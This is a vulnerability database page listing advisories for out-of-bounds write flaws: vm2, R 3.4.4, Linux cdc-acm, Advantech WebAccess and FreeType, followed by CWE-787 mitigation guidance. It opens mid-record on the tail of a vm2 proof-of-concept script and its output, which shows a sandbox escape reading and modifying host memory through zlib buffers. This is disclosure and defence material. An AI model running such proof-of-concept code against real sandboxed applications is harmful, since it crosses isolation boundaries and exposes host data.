\u0026\u0026 Buffer.isBuffer(result),\n      fullView: view.byteOffset === 0\n        \u0026\u0026 view.length === result.buffer.byteLength\n        \u0026\u0026 view.buffer.byteLength === result.buffer.byteLength,\n      poolIsWider: result.buffer.byteLength \u003e result.length,\n      markerFound: firstMarker \u003e= 0,\n    };\n  `, \u0027zlib-buffer-case-b.js\u0027);\n  const passed = attack.route \u0026\u0026 attack.fullView \u0026\u0026 attack.poolIsWider\n    \u0026\u0026 attack.markerFound \u0026\u0026 changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? \u0027violation\u0027 : \u0027pass\u0027 }));\n}\n```\n\n```json\n{\"mode\":\"attack\",\"result\":\"violation\"}\n{\"mode\":\"control\",\"result\":\"pass\"}\n```\n\nThe attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.\n\nThe reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`.\n\n## Impact\n\nAn affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.\n\n## Suggested Fix\n\nBefore any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.\n\nAdd a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.\n\n## Affected Package/Versions\n\n- Package: `vm2` from npm.\n- Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Package metadata at that revision: 3.11.8.\n- Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.\n- Affected range: only the exact tested revision is asserted; no broader release range is established here.\n\n## Advisory History\n\nThe public [GHSA-fcqc-726x-5wfc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node\u0027s shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here.\n\nThe exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match.\n\nPrior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.\n\nThis finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.",
  "id": "GHSA-489w-w794-jq94",
  "modified": "2026-10-05T23:00:46Z",
  "published": "2026-10-05T23:00:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/9596bf5e7d8de7351d675ff4f5293b72157202d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.12.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary"
}

GHSA-48CQ-3Q6Q-VXM7

Vulnerability from github – Published: 2026-03-11 21:31 – Updated: 2026-03-12 00:31
VLAI
Details

R 3.4.4 on Windows x64 contains a buffer overflow vulnerability in the GUI Preferences language menu field that allows local attackers to bypass DEP and ASLR protections. Attackers can inject a crafted payload through the Language for menus preference to trigger a structured exception handler chain pivot and execute arbitrary shellcode with application privileges.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T19:16:02Z",
    "severity": "MODERATE"
  },
  "details": "R 3.4.4 on Windows x64 contains a buffer overflow vulnerability in the GUI Preferences language menu field that allows local attackers to bypass DEP and ASLR protections. Attackers can inject a crafted payload through the Language for menus preference to trigger a structured exception handler chain pivot and execute arbitrary shellcode with application privileges.",
  "id": "GHSA-48cq-3q6q-vxm7",
  "modified": "2026-03-12T00:31:16Z",
  "published": "2026-03-11T21:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25485"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47122"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/r-windows-x-buffer-overflow-seh-dep-aslr-bypass"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/r-windows-x64-buffer-overflow-seh-dep-aslr-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-48G3-W2GF-XJRV

Vulnerability from github – Published: 2025-02-22 12:30 – Updated: 2026-05-12 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

usb: cdc-acm: Check control transfer buffer size before access

If the first fragment is shorter than struct usb_cdc_notification, we can't calculate an expected_size. Log an error and discard the notification instead of reading lengths from memory outside the received data, which can lead to memory corruption when the expected_size decreases between fragments, causing expected_size - acm->nb_index to wrap.

This issue has been present since the beginning of git history; however, it only leads to memory corruption since commit ea2583529cd1 ("cdc-acm: reassemble fragmented notifications").

A mitigating factor is that acm_ctrl_irq() can only execute after userspace has opened /dev/ttyACM*; but if ModemManager is running, ModemManager will do that automatically depending on the USB device's vendor/product IDs and its other interfaces.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-22T10:15:11Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: cdc-acm: Check control transfer buffer size before access\n\nIf the first fragment is shorter than struct usb_cdc_notification, we can\u0027t\ncalculate an expected_size. Log an error and discard the notification\ninstead of reading lengths from memory outside the received data, which can\nlead to memory corruption when the expected_size decreases between\nfragments, causing `expected_size - acm-\u003enb_index` to wrap.\n\nThis issue has been present since the beginning of git history; however,\nit only leads to memory corruption since commit ea2583529cd1\n(\"cdc-acm: reassemble fragmented notifications\").\n\nA mitigating factor is that acm_ctrl_irq() can only execute after userspace\nhas opened /dev/ttyACM*; but if ModemManager is running, ModemManager will\ndo that automatically depending on the USB device\u0027s vendor/product IDs and\nits other interfaces.",
  "id": "GHSA-48g3-w2gf-xjrv",
  "modified": "2026-05-12T15:30:46Z",
  "published": "2025-02-22T12:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21704"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/383d516a0ebc8641372b521c8cb717f0f1834831"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6abb510251e75f875797d8983a830e6731fa281c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7828e9363ac4d23b02419bf2a45b9f1d9fb35646"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/871619c2b78fdfe05afb4e8ba548678687beb812"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/90dd2f1b7342b9a671a5ea4160f408037b92b118"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a4e1ae5c0533964170197e4fb4f33bc8c1db5cd2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e563b01208f4d1f609bcab13333b6c0e24ce6a01"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f64079bef6a8a7823358c3f352ea29a617844636"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "https://project-zero.issues.chromium.org/issues/395107243"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48GX-VPM5-HV8J

Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2023-01-27 21:31
VLAI
Details

Advantech WebAccess HMI Designer, Versions 2.1.9.31 and prior. Multiple heap-based buffer overflow vulnerabilities may be exploited by opening specially crafted project files that may overflow the heap, which may allow remote code execution, disclosure/modification of information, or cause the application to crash.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-16207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-06T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Advantech WebAccess HMI Designer, Versions 2.1.9.31 and prior. Multiple heap-based buffer overflow vulnerabilities may be exploited by opening specially crafted project files that may overflow the heap, which may allow remote code execution, disclosure/modification of information, or cause the application to crash.",
  "id": "GHSA-48gx-vpm5-hv8j",
  "modified": "2023-01-27T21:31:11Z",
  "published": "2022-05-24T17:25:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16207"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-20-219-02"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-950"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-951"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-955"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-958"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-959"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48H9-2RJQ-QF7X

Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11
VLAI
Details

FreeType 2 before 2016-12-16 has an out-of-bounds write caused by a heap-based buffer overflow related to the cff_parser_run function in cff/cffparse.c.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-10328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-14T04:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "FreeType 2 before 2016-12-16 has an out-of-bounds write caused by a heap-based buffer overflow related to the cff_parser_run function in cff/cffparse.c.",
  "id": "GHSA-48h9-2rjq-qf7x",
  "modified": "2022-05-13T01:11:21Z",
  "published": "2022-05-13T01:11:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10328"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=289"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201706-14"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/freetype/freetype2.git/commit/?id=beecf80a6deecbaf5d264d4f864451bde4fe98b8"
    },
    {
      "type": "WEB",
      "url": "http://savannah.nongnu.org/bugs/?func=detailitem\u0026item_id=49858"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97677"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list